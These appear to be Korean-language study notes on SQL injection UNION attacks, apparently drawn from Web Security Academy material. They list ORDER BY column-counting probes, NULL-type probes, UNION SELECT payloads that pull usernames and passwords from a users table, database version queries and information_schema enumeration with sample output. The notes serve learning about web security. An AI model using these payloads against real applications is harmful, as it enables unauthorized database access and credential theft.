UNION attacks
ex) `SELECT a, b FROM table1 UNION SELECT c, d FROM table2`
table1에서 a, b를 선택하고 table2에서 c,d를 선택한 다음 a, b, c, d를 반환
필요한 열 수 결정
<aside>
💡 [ORDER BY]
ORDER BY 절을 삽입하고, 열 인덱스를 1씩 증가시켜가면서 오류가 발생할 때까지 시도한다. 에러가 발생하면 그 전의 값이 칼럼의 개수가 된다.
ex)
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
</aside>
데이터베이스별 구문 - 아래 cheat sheet 참고
SQL injection cheat sheet | Web Security Academy
유용한 데이터 유형이 있는 열 찾기
일반적으로 문자열 데이터
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--**UNION 공격을 사용하여 데이터 검색**
ex)
' UNION SELECT username, password FROM users—단일 열 내에서 여러 값 검색
ex) ' UNION SELECT username || '~' || password FROM users
Examing the database
데이터베이스 유형, 버전 쿼리
ex) ' UNION SELECT @@version—
| Database type | Query |
| --- | --- |
| Microsoft, MySQL | SELECT @@version |
| Oracle | SELECT * FROM v$version |
| PostgreSQL | SELECT version() |
데이터베이스의 contents 나열
ex) information_schema.tables 데이터베이스의 테이블
SELECT * FROM information_schema.tablesTABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLESELECT * FROM information_schema.columns WHERE table_name = 'Users’TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar